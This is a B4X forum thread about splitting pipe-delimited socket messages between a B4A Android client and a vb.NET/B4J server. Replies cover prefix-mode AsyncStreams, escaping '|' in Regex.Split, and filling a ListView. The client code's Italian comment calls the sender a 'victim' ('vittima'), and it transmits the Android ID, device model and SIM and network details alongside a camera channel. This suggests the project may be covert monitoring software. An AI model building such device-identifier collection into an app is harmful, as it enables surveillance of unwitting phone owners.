Android Question split data from vb.net to B4A

Discussion in 'Android Questions' started by klingon467, May 26, 2015.

  1. klingon467

    klingon467 Member Licensed User

    Hi, I am creating a simple video-chat with client developed in B4A and server in vb.NET. Now I should pass parameters to server-client and server-client from using the split but the function is reversed in the two environments. How can I do?

    from vb.NET Example
    Code:
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
            
    If Client.Available > 0 Then
                
    Dim x(Client.Available - 1As Byte
                Stream.Read(x, 
    0, x.Length)
                
    Dim text As String = UTF8.GetString(x)
                
    Dim opt() As String
                opt = Split(text, 
    "|")

                
    Select Case opt(0)
                    
    Case "770" 'lo stato
                        chat.Text = chat.Text & opt(1) & vbCrLf
                    
    Case "775" 'ricevo msg chat
                        chat.Text = chat.Text & opt(1) & vbCrLf
                    
    Case "772"
                        txtinput.Enabled = 
    False
                        ch1.Checked = 
    False
                    
    Case "780" 'CHANNEL CAM
                        ' MsgBox("channel read!")
                        pView.Image = Image.FromStream(Stream) 'VIEW CAM!

                
    End Select
            
    End If

        
    End Sub
    from B4A Example
    Code:
    Sub astreams_NewData()
    Dim mbuffer() As Byte
    Dim msg As String
    If client.Connected = True Then
    msg = 
    BytesToString(mbuffer, 0, mbuffer.Length, "UTF8")
    ToastMessageShow(msg, False)
    Dim opt() As String 'attivo lo split del flusso
             opt = Regex.Split("|", msg)
            
    ToastMessageShow(opt, False)
    Select Case opt(0'seleziono i vari casi
                  Case "771" 'apro la form della chat
                     ToastMessageShow("Chat è Attiva!"False)
                  
    Case "775" 'scrivo il testo inviato dal server
                     ToastMessageShow(opt(1), False)
                
    End Select
               
            
    End If
           
    End Sub
    Thanks in advance
     
  2. Erel

    Erel Administrator Staff Member Licensed User

    Peter Simpson likes this.
  3. klingon467

    klingon467 Member Licensed User

    Hi Erel,
    I took your advice is I'm using B4J but i have a problem with Regex.Split.....

    from my client send stream client B4A
    Code:
    Sub Client_Connected (Successful As Boolean)
        tryingToConnect = 
    False
        
    Log("Client_Connected: " & Successful)
        
    If Successful = False Then
            
    Log(LastException)
            
    ToastMessageShow("Error connecting."True)
        
    Else
        
    'invio informazioni vittima
            astreams.Initialize(client.InputStream, client.OutputStream, "astreams")
            manna(
    "SERVER" & "|" & p.GetSettings("android_id") & "|" & p.Manufacturer & "|" & _
            p.Model & 
    "|" & p.Product & "|" & p.GetDataState & "|" & p.GetNetworkOperatorName & "|" & _
            p.GetNetworkType & 
    "|" & p.GetPhoneType & "|" & p.GetSimOperator)

        
    End If
    End Sub
    from server B4J
    Code:
    Sub astream_NewData (Buffer() As Byte)

    Dim msg As String
            msg = 
    BytesToString(Buffer, 0, Buffer.Length, "UTF8")
           
            
    'lbltest.Text = msg
            Dim opt() As String
            opt = 
    Regex.Split( "|", msg)
            
    'lbltest.Text = opt(1)
           
            
    Select opt(0)
            
    Case "SERVER"
            
    Dim row(9As Object
            row(
    0) = opt(1)
            row(
    1) = opt(2)
            row(
    2) = opt(3)
            row(
    3) = opt(4)
            row(
    4) = opt(5)
            row(
    5) = opt(6)
            row(
    6) = opt(7)
            row(
    7) = opt(8)
            row(
    8) = opt(9)
            Table.Items.Add(row)
            
    Case "CHAT"
           
            
    Case "CAM"
            
    End Select
                       
    End Sub
    now i want split all strings for add into my tableview but for example try with

    Code:
    Sub astream_NewData (Buffer() As Byte)

    Dim msg As String
            msg = 
    BytesToString(Buffer, 0, Buffer.Length, "UTF8")
          
            
    'lbltest.Text = msg
            Dim opt() As String
            opt = 
    Regex.Split( "|", msg)
            lbltest.Text = opt(
    1)
    lbltest.text = S because it is the first character in the string server
    i want to split all string!
    SERVER
    string2
    string3
    ecc...

    how can I do?

    thanks
     
  4. walterf25

    walterf25 Well-Known Member Licensed User

    Code:
    Sub astream_NewData (Buffer() As Byte)

    Dim msg As String
            msg = 
    BytesToString(Buffer, 0, Buffer.Length, "UTF8")
       
            
    'lbltest.Text = msg
            Dim opt() As String
            opt = 
    Regex.Split( "|", msg)
            lbltest.Text = opt(
    1)

    This should work given the fact that the whole string is received at the _NewData sub.

    However if you're only Receiving the "S" you need to wait until all bytes are received, if you know how many bytes you're sending then you should only start splitting your strings once all bytes have been received.

    Walter
     
  5. Thraka

    Thraka Member Licensed User

    To answer your VB.NET question, you can use Linq to easily reverse the split.

    First, import the linq namespace if it isn't already at the top of your code file.
    Code:
    Import System.Linq
    Now all of the extension methods provided by linq will be available to arrays and collections, which is provided by the split command.

    Code:
    opt = Split(text, "|").Reverse()
    Now your array will appear backwards.
     
    klingon467 likes this.
  6. Erel

    Erel Administrator Staff Member Licensed User

    As you are using B4J to implement the server, you can initialize AsyncStreams in prefix mode (in both sides) and then only work with full messages.
     
  7. klingon467

    klingon467 Member Licensed User

    i try it bu not work for me....

    from client (B4A) connection

    Code:
    Private Sub Connect
        
    If tryingToConnect Then Return

        tryingToConnect = 
    True
        
    Log("Connecting to: " & Main.ServerIp & ":" & Main.ServerPort)
        client.Initialize(
    "client")
        client.Connect(Main.ServerIp, Main.ServerPort, 
    20000)
    End Sub

    Sub Client_Connected (Successful As Boolean)
        tryingToConnect = 
    False
        
    Log("Client_Connected: " & Successful)
        
    If Successful = False Then
            
    Log(LastException)
            
    ToastMessageShow("Error connecting."True)
        
    Else
            astreams.InitializePrefix(client.InputStream, 
    False, client.OutputStream, "AStreams")
            manna(
    "CLIENT" & "|" & p.GetSettings("android_id") & "|" & p.Manufacturer & "|" & _
            p.Model & 
    "|" & p.Product & "|" & p.GetDataState & "|" & p.GetNetworkOperatorName & "|" & _
            p.GetNetworkType & 
    "|" & p.GetPhoneType & "|" & p.GetSimOperator)

        
    End If
    End Sub
    from server (B4J)

    Code:
    Sub AppStart (Form1 As Form, Args() As String)
        MainForm = Form1
        MainForm.RootPane.LoadLayout(
    "Main"'Load the layout file.
        MainForm.Show
        Table.Initialize(
    "Table")
        Table.SetColumns(
    Array As String("Android ID""Manufacturer""Model""Product""Status", _
        
    "NetworkOperator""NetworkType""PhoneType""SimOperator"))
        
    server.Initialize(8080"server")
        
    server.Listen
    End Sub


    Sub server_NewConnection (Successful As Boolean, NewSocket As Socket)
        
    If Successful Then

            astream.InitializePrefix(NewSocket.InputStream, 
    False, NewSocket.OutputStream, "astream")
       
    lblonline.Text = connectionId +
    1
    lblStatus.Text = 
    "Connected"
    Else
            
    Log(LastException)
        
    End If
        
    server.Listen

    End Sub

    Sub astream_NewData (Buffer() As Byte)

    Dim msg As String
        msg = 
    BytesToString(Buffer, 0, Buffer.Length, "UTF8")
        
         lblmsg.Text = msg 
    'debuggo lo stream testo decodificato
         Dim opt() As String
         opt = 
    Regex.Split( "|", msg)
         lblsplit.Text = opt(
    1'debuggo lo splitting del flusso dati
        
         
    Select opt(0)
         
    Case "CLIENT"
         
    Dim row(9As Object
         row(
    0) = opt(1)
         row(
    1) = opt(2)
         row(
    2) = opt(3)
         row(
    3) = opt(4)
         row(
    4) = opt(5)
         row(
    5) = opt(6)
         row(
    6) = opt(7)
         row(
    7) = opt(8)
         row(
    8) = opt(9)
         tblClient.Items.Add(row)
         
    Case "CHAT"
        
         
    Case "CAM"
         
    End Select
              
    End Sub
    into lblmsg.text return correct string of streming
    into lblsplit.text return "C"

    [​IMG]
     
    Last edited: May 28, 2015
  8. Erel

    Erel Administrator Staff Member Licensed User

    The issue here is different. | is a special regex character. You should use: Regex.Split("\|", ...)
     
    klingon467 likes this.
  9. klingon467

    klingon467 Member Licensed User

    great!
    work it!
    i have change my split from "|" to "SPLT" and work it!
    Now if i want add my splt data into listview i should use this code?

    Code:
    Dim lv1 As ListView
    .....
    lv1.Initialize(
    "lv1")
    ....
    Select opt(0)
            
    Case "CLIENT"
            lv1.Items.AddAll(
    Array As String(opt(1), opt(2), opt(3), opt(4),opt(5),opt(6),opt(7),opt(8),opt(9)))
          
            
    Case "CHAT"
          
            
    Case "CAM"
            
    End Select
    thanks!
     
  10. Erel

    Erel Administrator Staff Member Licensed User

    There is no Items property in ListView.
    Code:
    For Each item As String in Array(opt(1), ...)
     lv1.AddSingleLine(item)
    Next
     
Loading...
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice